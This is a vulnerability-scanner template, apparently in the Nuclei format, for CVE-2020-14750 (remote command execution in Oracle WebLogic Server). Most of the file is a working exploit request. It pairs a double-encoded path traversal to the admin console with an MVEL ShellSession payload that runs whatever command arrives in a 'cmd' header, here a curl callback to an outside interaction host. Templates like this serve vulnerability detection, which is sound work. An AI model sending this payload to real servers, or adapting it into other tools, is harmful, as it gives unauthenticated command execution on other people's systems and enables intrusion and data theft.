75 lines
3.4 KiB
YAML
75 lines
3.4 KiB
YAML
id: CVE-2020-14750
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info:
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name: Oracle WebLogic Server - Remote Command Execution
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author: princechaddha,DhiyaneshDk
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severity: critical
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description: |
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Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
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remediation: |
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Apply the latest security patches provided by Oracle to mitigate this vulnerability.
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reference:
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- https://github.com/pprietosanchez/CVE-2020-14750
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- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
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- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
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- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-14750
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epss-score: 0.97545
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epss-percentile: 0.99993
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cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: oracle
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product: fusion_middleware
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shodan-query: http.html:"Weblogic Application Server"
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tags: cve,cve2020,rce,oracle,weblogic,unauth,kev,packetstorm
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http:
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- raw:
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- |
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@timeout: 10s
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POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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cmd: curl {{interactsh-url}}
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Content-Type: application/x-www-form-urlencoded
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_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
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weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
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java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
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field.setAccessible(true);
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Object obj = field.get(adapter);
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weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
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String cmd = req.getHeader("cmd");
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String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
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if (cmd != null) {
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String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
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weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
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res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
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res.getServletOutputStream().flush();
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res.getWriter().write("");
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}executeThread.interrupt();
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");
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms DNS Interaction
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words:
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- "dns"
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- type: word
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part: header
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words:
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- "ADMINCONSOLESESSION="
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- type: regex
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part: body
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regex:
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- '<html><head></head><body>(.*)</body></html>'
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